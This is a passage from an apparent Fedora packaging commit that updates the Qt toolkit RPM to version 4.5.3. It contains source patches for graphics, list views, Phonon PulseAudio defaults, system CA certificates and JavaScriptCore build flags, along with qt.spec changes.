 #ifndef QT_NO_MITSHM
-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif

0283-do-not-deduce-scrollbar-extent-twice.diff:
 qlistview.cpp |   14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

--- NEW FILE 0283-do-not-deduce-scrollbar-extent-twice.diff ---
qt-bugs@ issue : none
Qt Software task ID : none
bugs.kde.org number : none
applied: no
author: Aur?lien G?teau <agateau at kde.org>

Do not deduce scrollbar extent twice if scrollbar policy is
Qt::ScrollBarAlwaysOn.

This patch has been merged in master but won't be in 4.5.
http://qt.gitorious.org/qt/qt/merge_requests/432

--- src/gui/itemviews/qlistview.cpp
+++ src/gui/itemviews/qlistview.cpp
@@ -1969,10 +1969,16 @@ void QListViewPrivate::prepareItemsLayout()
     int frameAroundContents = 0;
     if (q->style()->styleHint(QStyle::SH_ScrollView_FrameOnlyAroundContents))
         frameAroundContents = q->style()->pixelMetric(QStyle::PM_DefaultFrameWidth) * 2;
-    int verticalMargin = vbarpolicy==Qt::ScrollBarAlwaysOff ? 0 :
-        q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->verticalScrollBar()) + frameAroundContents;
-    int horizontalMargin =  hbarpolicy==Qt::ScrollBarAlwaysOff ? 0 :
-        q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->horizontalScrollBar()) + frameAroundContents;
+
+    // maximumViewportSize() already takes scrollbar into account if policy is
+    // Qt::ScrollBarAlwaysOn but scrollbar extent must be deduced if policy
+    // is Qt::ScrollBarAsNeeded
+    int verticalMargin = vbarpolicy==Qt::ScrollBarAsNeeded
+        ? q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->verticalScrollBar()) + frameAroundContents
+        : 0;
+    int horizontalMargin =  hbarpolicy==Qt::ScrollBarAsNeeded
+        ? q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->horizontalScrollBar()) + frameAroundContents
+        : 0;
 
     layoutBounds.adjust(0, 0, -verticalMargin, -horizontalMargin);
 

0285-qgv-dontshowchildren.diff:
 qgraphicsitem.cpp |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE 0285-qgv-dontshowchildren.diff ---
qt-bugs@ issue : unknows
Qt Software task ID : 197802
bugs.kde.org number : bugs on the issue not reported yed
applied: no
author: Marco Martin <notmart at gmail.com>

This patch makes children items of an hidden qgraphicsitem not be shown if show() is called on them. fixes several issues like the opensocial plasma widget and the Plasma desktop toolbox behaviour.

Index: src/gui/graphicsview/qgraphicsitem.cpp
===================================================================
--- src/gui/graphicsview/qgraphicsitem.cpp	(revision 958522)
+++ src/gui/graphicsview/qgraphicsitem.cpp	(working copy)
@@ -1522,6 +1522,11 @@
     if (visible == quint32(newVisible))
         return;
 
+    QGraphicsItem *parent(q_ptr->parentItem());
+    if (parent && newVisible && !parent->d_ptr->visible) {
+        return;
+    }
+
     // Modify the property.
     const QVariant newVisibleVariant(q_ptr->itemChange(QGraphicsItem::ItemVisibleChange,
                                                        quint32(newVisible)));


--- NEW FILE kde-qt-patches.sh ---
# quick-n-dirty method to fetch patches from -patched git branch
# unfortunately, requires an already checked-out copy of the git repo

git format-patch --output-directory kde-qt-patches v4.5.3..4.5.3-patched

qt-x11-opensource-src-4.5.0-qdoc3.patch:
 qdoc3/qdoc3.pro |    3 +++
 tools.pro       |    1 +
 2 files changed, 4 insertions(+)

Index: qt-x11-opensource-src-4.5.0-qdoc3.patch
===================================================================
RCS file: qt-x11-opensource-src-4.5.0-qdoc3.patch
diff -N qt-x11-opensource-src-4.5.0-qdoc3.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ qt-x11-opensource-src-4.5.0-qdoc3.patch	10 Oct 2009 21:13:22 -0000	1.3
@@ -0,0 +1,21 @@
+diff -ur qt-orig/tools/qdoc3/qdoc3.pro qt-4.5.2/tools/qdoc3/qdoc3.pro
+--- qt-orig/tools/qdoc3/qdoc3.pro	2009-06-20 06:57:59.000000000 +0200
++++ qt-4.5.2/tools/qdoc3/qdoc3.pro	2009-06-25 20:00:12.000000000 +0200
+@@ -99,3 +99,6 @@
+            webxmlgenerator.cpp \
+ 	   yyindent.cpp
+ 
++TARGET= qdoc3
++target.path = $$[QT_INSTALL_BINS]
++INSTALLS += target
+diff -ur qt-orig/tools/tools.pro qt-4.5.2/tools/tools.pro
+--- qt-orig/tools/tools.pro	2009-06-20 06:57:59.000000000 +0200
++++ qt-4.5.2/tools/tools.pro	2009-06-25 19:59:19.000000000 +0200
+@@ -13,6 +13,7 @@
+          SUBDIRS += designer
+      }
+      SUBDIRS     += linguist
++     SUBDIRS     += qdoc3
+      wince*: SUBDIRS = qtestlib designer
+      unix:!mac:!embedded:contains(QT_CONFIG, qt3support):SUBDIRS += qtconfig
+      win32:!wince*:SUBDIRS += activeqt

qt-x11-opensource-src-4.5.1-phonon.patch:
 3rdparty/phonon/gstreamer/gstreamer.desktop |    2 +-
 phonon/phonon.pro                           |    5 +++++
 plugins/phonon/gstreamer/gstreamer.pro      |    4 +++-
 3 files changed, 9 insertions(+), 2 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.1-phonon.patch ---
diff -ur qt-orig/src/phonon/phonon.pro qt-x11-opensource-src-4.5.2/src/phonon/phonon.pro
--- qt-orig/src/phonon/phonon.pro	2009-06-20 06:57:57.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/phonon/phonon.pro	2009-06-25 19:30:00.000000000 +0200
@@ -112,4 +112,9 @@
        DEFINES += QT_NO_DBUS
 }
 
+# install dbus service file
+sources.files = $$PHONON_DIR/org.kde.Phonon.AudioOutput.xml
+sources.path = /usr/share/dbus-1/interfaces
+INSTALLS += sources
+
 contains(QT_CONFIG, reduce_exports): CONFIG += hide_symbols
diff -ur qt-orig/src/plugins/phonon/gstreamer/gstreamer.pro qt-x11-opensource-src-4.5.2/src/plugins/phonon/gstreamer/gstreamer.pro
--- qt-orig/src/plugins/phonon/gstreamer/gstreamer.pro	2009-06-20 06:57:58.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/plugins/phonon/gstreamer/gstreamer.pro	2009-06-25 19:31:36.000000000 +0200
@@ -62,6 +62,8 @@
 }
 
 target.path = $$[QT_INSTALL_PLUGINS]/phonon_backend
-INSTALLS += target
+services.files = $$PHONON_GSTREAMER_DIR/gstreamer.desktop
+services.path = /usr/share/kde4/services/phononbackends
+INSTALLS += target services
 
 include(../../qpluginbase.pri)
diff -ur qt-orig/src/3rdparty/phonon/gstreamer/gstreamer.desktop qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/gstreamer.desktop
--- qt-orig/src/3rdparty/phonon/gstreamer/gstreamer.desktop	2009-06-20 06:57:54.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/gstreamer.desktop	2009-06-25 19:30:00.000000000 +0200
@@ -2,7 +2,7 @@
 Type=Service
 X-KDE-ServiceTypes=PhononBackend
 MimeType=application/x-annodex;video/quicktime;video/x-quicktime;audio/x-m4a;application/x-quicktimeplayer;video/mkv;video/msvideo;video/x-msvideo;video/x-flic;audio/x-aiff;audio/aiff;audio/x-pn-aiff;audio/x-realaudio;audio/basic;audio/x-basic;audio/x-pn-au;audio/x-8svx;audio/8svx;audio/x-16sv;audio/168sv;image/x-ilbm;image/ilbm;video/x-anim;video/anim;image/png;image/x-png;video/mng;video/x-mng;audio/x-ogg;audio/x-speex+ogg;application/ogg;application/ogg;audio/vnd.rn-realaudio;audio/x-pn-realaudio-plugin;audio/x-real-audio;application/vnd.rn-realmedia;video/mpeg;video/x-mpeg;audio/x-wav;audio/wav;audio/x-pn-wav;audio/x-pn-windows-acm;audio/mpeg2;audio/x-mpeg2;audio/mpeg3;audio/x-mpeg3;audio/mpeg;audio/x-mpeg;x-mpegurl;audio/x-mpegurl;audio/mp3;audio/mpeg;
-X-KDE-Library=phonon_gstreamer
+X-KDE-Library=libphonon_gstreamer
 X-KDE-PhononBackendInfo-InterfaceVersion=1
 X-KDE-PhononBackendInfo-Version=0.1
 X-KDE-PhononBackendInfo-Website=http://gstreamer.freedesktop.org/

qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch:
 audiooutput.cpp   |    4 +++-
 devicemanager.cpp |   22 ++++++++++++++++++++--
 2 files changed, 23 insertions(+), 3 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than	2009-08-16 14:20:43.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp	2009-08-16 14:45:56.000000000 +0200
@@ -141,7 +141,9 @@ bool AudioOutput::setOutputDevice(int ne
         // Save previous state
         GstState oldState = GST_STATE(m_audioSink);
         const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, "device");
-        const QByteArray deviceId = deviceList.at(newDevice).gstId;
+        const QByteArray deviceId = (deviceList.at(newDevice).gstId == "PulseAudio"
+                                     ? "default"
+                                     : deviceList.at(newDevice).gstId);
         m_device = newDevice;
 
         // We test if the device can be opened by checking if it can go from NULL to READY state
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than	2009-08-15 12:39:08.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp	2009-08-16 14:45:13.000000000 +0200
@@ -50,6 +50,8 @@ AudioDevice::AudioDevice(DeviceManager *
     //get name from device
     if (gstId == "default") {
         description = "Default audio device";
+    } else if (gstId == "PulseAudio") {
+        description = QObject::tr("Pass all audio through the PulseAudio Sound Server.\n").toUtf8();
     } else {
         GstElement *aSink= manager->createAudioSink();
 
@@ -175,6 +177,18 @@ GstElement *DeviceManager::createAudioSi
                 }
             }
 
+            if (!sink) {
+                sink = gst_element_factory_make ("pulsesink", NULL);
+                if (canOpenDevice(sink)) {
+                    m_backend->logMessage("AudioOutput using pulse audio sink");
+                    m_audioSink = "pulsesink";
+                }
+                else if (sink) {
+                    gst_object_unref(sink);
+                    sink = 0;
+                }
+            }
+
 #ifdef USE_ALSASINK2
             if (!sink) {
                 sink = gst_element_factory_make ("_k_alsasink", NULL);
@@ -306,8 +320,12 @@ void DeviceManager::updateDeviceList()
     QList<QByteArray> list;
 
     if (audioSink) {
-        list = GstHelper::extractProperties(audioSink, "device");
-        list.prepend("default");
+        if (m_audioSink == "pulsesink") {
+            list.append("PulseAudio");
+        } else {
+            list = GstHelper::extractProperties(audioSink, "device");
+            list.prepend("default");
+        }
 
         for (int i = 0 ; i < list.size() ; ++i) {
             QByteArray gstId = list.at(i);

qt-x11-opensource-src-4.5.2-pulseaudio.patch:
 globalconfig.cpp |   19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

--- NEW FILE qt-x11-opensource-src-4.5.2-pulseaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp.phonon-pulseaudio qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp.phonon-pulseaudio	2009-06-20 06:57:54.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/phonon/globalconfig.cpp	2009-08-21 00:11:55.000000000 +0200
@@ -31,6 +31,7 @@
 #include "phononnamespace_p.h"
 
 #include <QtCore/QList>
+#include <QtCore/QHash>
 #include <QtCore/QVariant>
 
 QT_BEGIN_NAMESPACE
@@ -167,6 +168,15 @@ QList<int> GlobalConfig::audioOutputDevi
                     | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
                     );
         }
+        // make PulseAudio the global default (assume it is already default in this list)
+        if (!list.isEmpty()) {
+            int firstIndex = list.first();
+            if (backendIface->objectDescriptionProperties(Phonon::AudioOutputDeviceType,
+                  firstIndex)["name"].toString() == "PulseAudio") {
+                list.removeFirst();
+                defaultList.prepend(firstIndex);
+            }
+        }
         defaultList += list;
     }
 
@@ -222,6 +232,15 @@ QList<int> GlobalConfig::audioCaptureDev
                     | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
                   );
         }
+        // make PulseAudio the global default (assume it is already default in this list)
+        if (!list.isEmpty()) {
+            int firstIndex = list.first();
+            if (backendIface->objectDescriptionProperties(Phonon::AudioCaptureDeviceType,
+                  firstIndex)["name"].toString() == "PulseAudio") {
+                list.removeFirst();
+                defaultList.prepend(firstIndex);
+            }
+        }
         defaultList += list;
     }
 

qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch:
 JavaScriptCore.pri |   14 --------------
 1 file changed, 14 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
--- qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit	2009-09-29 13:01:35.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri	2009-10-06 10:39:55.976466622 +0200
@@ -13,20 +13,6 @@ win32-* {
     LIBS += -lwinmm
 }
 
-# Disable the JIT due to numerous observed miscompilations :(
-CONFIG(release):isEqual(QT_ARCH,i386) {
-     JIT_DEFINES = ENABLE_JIT ENABLE_WREC ENABLE_JIT_OPTIMIZE_CALL ENABLE_JIT_OPTIMIZE_PROPERTY_ACCESS ENABLE_JIT_OPTIMIZE_ARITHMETIC
-     # Require gcc >= 4.1
-     linux-g++*:greaterThan(QT_GCC_MAJOR_VERSION,3):greaterThan(QT_GCC_MINOR_VERSION,0) {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_VA_LIST
-         QMAKE_CXXFLAGS += -fno-stack-protector
-         QMAKE_CFLAGS += -fno-stack-protector
-     }
-     win32-msvc* {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_REGISTER
-     }
-}
-
 win32-msvc*: INCLUDEPATH += $$PWD/os-win32
 wince* {
     INCLUDEPATH += $$PWD/os-wince

qt-x11-opensource-src-4.5.3-system_ca_certificates.patch:
 qsslsocket_openssl.cpp |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-system_ca_certificates.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp
--- qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates	2009-09-29 06:01:38.000000000 -0500
+++ qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp	2009-10-02 11:20:10.674662746 -0500
@@ -482,8 +482,20 @@ void QSslSocketPrivate::resetDefaultCiph
 
 QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
 {
+
+    QFile caBundle;
+
+#ifdef Q_OS_UNIX
+    // Check known locations for the system's default bundle.  ### On Windows,
+    // we should use CAPI to find the bundle, and not rely on default unix
+    // locations.
+    caBundle.setFileName(QLatin1String("/etc/pki/tls/certs/ca-bundle.crt"));
+    if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
+       return QSslCertificate::fromDevice(&caBundle);
+#endif
+
     // Qt provides a default bundle of certificates
-    QFile caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
+    caBundle.setFileName(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
     if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
         return QSslCertificate::fromDevice(&caBundle);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-11/.cvsignore,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- .cvsignore	23 May 2009 04:05:52 -0000	1.56
+++ .cvsignore	10 Oct 2009 21:13:21 -0000	1.57
@@ -1,5 +1,10 @@
 hi128-app-qt4-logo.png
 hi48-app-qt4-logo.png
-qt-x11-opensource-src-4.5.1.tar.bz2
-qt-copy-patches-20090424svn.tar.bz2
-qt-copy-patches-20090522svn.tar.bz2
+gstreamer-logo.svg
+hi128-phonon-gstreamer.png
+hi16-phonon-gstreamer.png
+hi22-phonon-gstreamer.png
+hi32-phonon-gstreamer.png
+hi48-phonon-gstreamer.png
+hi64-phonon-gstreamer.png
+qt-x11-opensource-src-4.5.3.tar.gz


Index: linguist.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-11/linguist.desktop,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- linguist.desktop	14 Jun 2008 02:32:46 -0000	1.3
+++ linguist.desktop	10 Oct 2009 21:13:21 -0000	1.4
@@ -2,7 +2,7 @@
 Name=Qt4 Linguist 
 Comment=Add translations to Qt4 applications
 Exec=linguist-qt4
-Icon=linguist4
+Icon=linguist
 MimeType=application/x-linguist;
 Terminal=false
 Encoding=UTF-8


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-11/qt.spec,v
retrieving revision 1.281
retrieving revision 1.282
diff -u -p -r1.281 -r1.282
--- qt.spec	31 Aug 2009 15:14:01 -0000	1.281
+++ qt.spec	10 Oct 2009 21:13:22 -0000	1.282
@@ -4,28 +4,23 @@
 # -no-pch disables precompiled headers, make ccache-friendly
 %define no_pch -no-pch
 
+%define _default_patch_fuzz 2
+
 Summary: Qt toolkit
-%if 0%{?fedora} > 8
 Name:    qt
 Epoch:   1
-%else
-Name:    qt4
-%endif
-Version: 4.5.2
-Release: 3%{?dist}
+Version: 4.5.3
+Release: 4%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
 Group: System Environment/Libraries
 Url: http://www.qtsoftware.com/
-Source0: ftp://ftp.trolltech.com/qt/source/qt-x11-opensource-src-%{version}.tar.bz2
+Source0: ftp://ftp.qt.nokia.com/qt/source/qt-x11-opensource-src-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-%if "%{name}" != "qt4"
 Obsoletes: qt4 < %{version}-%{release}
 Provides: qt4 = %{version}-%{release}
 %{?_isa:Provides: qt4%{?_isa} = %{version}-%{release}}
-%endif
 
 Source4: Trolltech.conf
 
@@ -42,36 +37,58 @@ Patch13: qt-x11-opensource-src-4.5.0-gcc
 Patch15: qt-x11-opensource-src-4.5.1-enable_ft_lcdfilter.patch
 # include kde4 plugin path, http://bugzilla.redhat.com/498809
 Patch16: qt-x11-opensource-src-4.5.1-kde4_plugins.patch 
-# fix the qt-copy patch 0274-shm-native-image-fix.diff to apply against 4.5.2
-Patch20: qt-copy-20090626-qt452.patch
+# make PulseAudio the default device in Phonon
+Patch17: qt-x11-opensource-src-4.5.2-pulseaudio.patch
+Patch19: qt-x11-opensource-src-4.5.1-phonon.patch
+Patch21: qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
+# use system ca-bundle certs, http://bugzilla.redhat.com/521911
+Patch22: qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
+Requires: ca-certificates
+# disable JavaScriptCore JIT as it crashes with SE Linux
+# http://bugzilla.redhat.com/527079
+Patch23: qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch
 
 ## upstreamable bits
-Patch51: qt-x11-opensource-src-4.5.2-qdoc3.patch
+# http://bugzilla.redhat.com/485677
+Patch51: qt-x11-opensource-src-4.5.0-qdoc3.patch
 Patch52: qt-4.5-sparc64.patch
 # fix invalid inline assembly in qatomic_{i386,x86_64}.h (de)ref implementations
-# should fix the reference counting in qt_toX11Pixmap and thus the Kolourpaint
-# crash with Qt 4.5
 Patch53: qt-x11-opensource-src-4.5.0-fix-qatomic-inline-asm.patch
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
-Patch55: qt-x11-opensource-src-4.5.2-timestamp.patch
-
-## qt-copy patches
-# http://qt.gitorious.org/+kde-developers/qt/kde-qt/commit/01f26d0756839fbe783c637ca7dec5b7987f7e14.patch
-Patch287: 287-qmenu-respect-minwidth.patch
-# http://qt.gitorious.org/+kde-developers/qt/kde-qt/commit/1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a.patch
-Patch0288: 0288-more-x-keycodes.patch
 
-# security fixes
-Patch100: qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch
-Patch101: qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch
+# security patches
 
-%define qt_copy 20090626
-Source1: qt-copy-patches-svn_checkout.sh
-%{?qt_copy:Source2: qt-copy-patches-%{qt_copy}svn.tar.bz2}
-%{?qt_copy:Provides: qt-copy = %{qt_copy}}
-%{?qt_copy:Provides: qt4-copy = %{qt_copy}}
+# kde-qt git patches
+Patch201: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
+Patch202: 0002-This-patch-makes-override-redirect-windows-popup-me.patch
+Patch203: 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch
+Patch204: 0004-This-patch-adds-support-for-using-isystem-to-allow.patch
+Patch205: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
+Patch206: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
+Patch207: 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch
+Patch208: 0008-In-a-treeview-with-columns-like-this.patch
+Patch209: 0009-This-patch-fixes-deserialization-of-values-with-cust.patch
+Patch210: 0010-Import-README.qt-copy-from-the-original-qt-copy.patch
+Patch211: 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch
+Patch212: 0274-shm-native-image-fix.patch
+Patch213: 0015-Make-QMenu-respect-the-minimum-width-set.patch
+Patch214: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
+Patch215: 0017-Add-context-to-tr-calls-in-QShortcut.patch
+
+# these patches are not merged yet in kde-qt branches
+Patch301: 0118-qtcopy-define.diff
+Patch302: 0283-do-not-deduce-scrollbar-extent-twice.diff
+Patch303: 0285-qgv-dontshowchildren.diff
+
+Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
+Source11: hi16-phonon-gstreamer.png
+Source12: hi22-phonon-gstreamer.png
+Source13: hi32-phonon-gstreamer.png
+Source14: hi48-phonon-gstreamer.png
+Source15: hi64-phonon-gstreamer.png
+Source16: hi128-phonon-gstreamer.png
 
 Source20: assistant.desktop
 Source21: designer.desktop
@@ -93,21 +110,20 @@ Source31: hi48-app-qt4-logo.png
 %define psql -plugin-sql-psql
 %define sqlite -plugin-sql-sqlite
 %define phonon -phonon
-# if building with --phonon, define to internal version (ie, Obsolete external phonon)
-#define phonon_internal 1
-%define phonon_backend -no-phonon-backend
+%define phonon_backend -phonon-backend
+%if 0%{?rhel}
+# if building with -phonon, define to internal version (ie, Obsolete external phonon)
+%define phonon_internal 1
+# if -phonon-backend, include in packaging (else it's omitted)
+%define phonon_backend_packaged 1
+%endif
 %define phonon_version 4.3.1
+%define phonon_version_major 4.3
+%define phonon_release 100
 %define webkit -webkit
 %define gtkstyle -gtkstyle
-
 %define nas -no-nas-sound
-%if 0%{?fedora} > 4 || 0%{?rhel} > 4
-# link dbus
 %define dbus -dbus-linked
-# dlopen dbus
-#define dbus -dbus
-BuildRequires: dbus-devel >= 0.62
-%endif
 
 # See http://bugzilla.redhat.com/196901
 %define _qt4 %{name}
@@ -125,10 +141,9 @@ BuildRequires: dbus-devel >= 0.62
 %define _qt4_sysconfdir %{_sysconfdir}
 %define _qt4_translationdir %{_datadir}/qt4/translations
 
-%if "%{_qt4_libdir}" != "%{_libdir}"
 Prereq: /etc/ld.so.conf.d
-%endif
 
+BuildRequires: dbus-devel >= 0.62
 BuildRequires: cups-devel
 BuildRequires: desktop-file-utils
 BuildRequires: findutils
@@ -147,10 +162,7 @@ BuildRequires: pkgconfig
 ## In theory, should be as simple as:
 #define x_deps libGL-devel libGLU-devel
 ## but, "xorg-x11-devel: missing dep on libGL/libGLU" - http://bugzilla.redhat.com/211898 
-%define x_deps xorg-x11-devel xorg-x11-Mesa-libGL xorg-x11-Mesa-libGLU
-%if 0%{?fedora} > 4 || 0%{?rhel} > 4
 %define x_deps libICE-devel libSM-devel libXcursor-devel libXext-devel libXfixes-devel libXft-devel libXi-devel libXinerama-devel libXrandr-devel libXrender-devel libXt-devel libX11-devel xorg-x11-proto-devel libGL-devel libGLU-devel
-%endif
 BuildRequires: %{x_deps}
 
 %if "%{?nas}" != "-no-nas-sound"
@@ -191,10 +203,8 @@ Obsoletes: qt4-config < 4.5.0
 Provides: qt4-config = %{version}-%{release}
 Obsoletes: qt4-sqlite < 4.5.0 
 Provides: qt4-sqlite = %{version}-%{release}
-%if "%{name}" == "qt"
 Obsoletes: qt-sqlite < %{?epoch:%{epoch}:}4.5.0
 Provides: qt-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
-%endif
 
 %description 
 Qt is a software toolkit for developing applications.
@@ -202,6 +212,15 @@ Qt is a software toolkit for developing 
 This package contains base tools, like string, xml, and network
 handling.
 
+%package -n phonon-backend-gstreamer
+Summary: Gstreamer phonon backend
+Group:   Applications/Multimedia
+Requires: phonon%{?_isa} >= %{phonon_version_major} 
+Provides: phonon-backend%{?_isa} = %{phonon_version}-%{phonon_release}
+Obsoletes: %{name}-backend-gst < 4.2.0-4
+Provides:  %{name}-backend-gst = %{phonon_version}-%{phonon_release}
+%description -n phonon-backend-gstreamer
+%{summary}.
 
 %define demos 1
 %package demos
@@ -217,15 +236,11 @@ Summary: API documentation for %{name}
 Group: Documentation
 Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
 Requires: %{name}-assistant
-%if "%{name}" != "qt4"
 Obsoletes: qt4-doc < %{version}-%{release}
 Provides:  qt4-doc = %{version}-%{release}
-%endif
-%if 0%{?fedora} > 9
 # help workaround yum bug http://bugzilla.redhat.com/502401
 Obsoletes: qt-doc < 1:4.5.1-4
 BuildArch: noarch
-%endif
 %description doc
 %{summary}.  Includes:
 Qt Assistant
@@ -233,8 +248,8 @@ Qt Assistant
 %package devel
 Summary: Development files for the Qt toolkit
 Group: Development/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
-Requires: %{name}-x11 
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}-x11%{?_isa}
 Requires: %{x_deps}
 Requires: libpng-devel
 Requires: libjpeg-devel
@@ -244,8 +259,7 @@ Provides: qt4-phonon-devel = %{version}-
 %endif
 %if 0%{?phonon_internal}
 Obsoletes: phonon-devel < 4.3.1-100
-Provides:  phonon-devel = 4.3.1-100
-Requires:  phonon-backend%{?_isa} >= %{phonon_version}
+Provides:  phonon-devel = %{phonon_version}-%{phonon_release}
 %endif
 %if 0%{?webkit:1}
 Obsoletes: WebKit-qt-devel < 1.0.0-1
@@ -255,12 +269,10 @@ Obsoletes: qt4-designer < %{version}-%{r
 Provides:  qt4-designer = %{version}-%{release}
 # as long as libQtUiTools.a is included
 Provides:  %{name}-static = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-devel < %{version}-%{release}
 Provides:  qt4-devel = %{version}-%{release}
 %{?_isa:Provides: qt4-devel%{?_isa} = %{version}-%{release}}
 Provides:  qt4-static = %{version}-%{release}
-%endif
 
 %description devel
 This package contains the files necessary to develop
@@ -272,7 +284,7 @@ Qt Linguist
 %package examples
 Summary: Programming examples for %{name}
 Group: Documentation
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description examples
 %{summary}.
@@ -281,13 +293,11 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %package mysql
 Summary: MySQL driver for Qt's SQL classes
 Group: System Environment/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-MySQL < %{version}-%{release}
 Provides:  qt4-MySQL = %{version}-%{release}
-%if "%{name}" != "qt4"
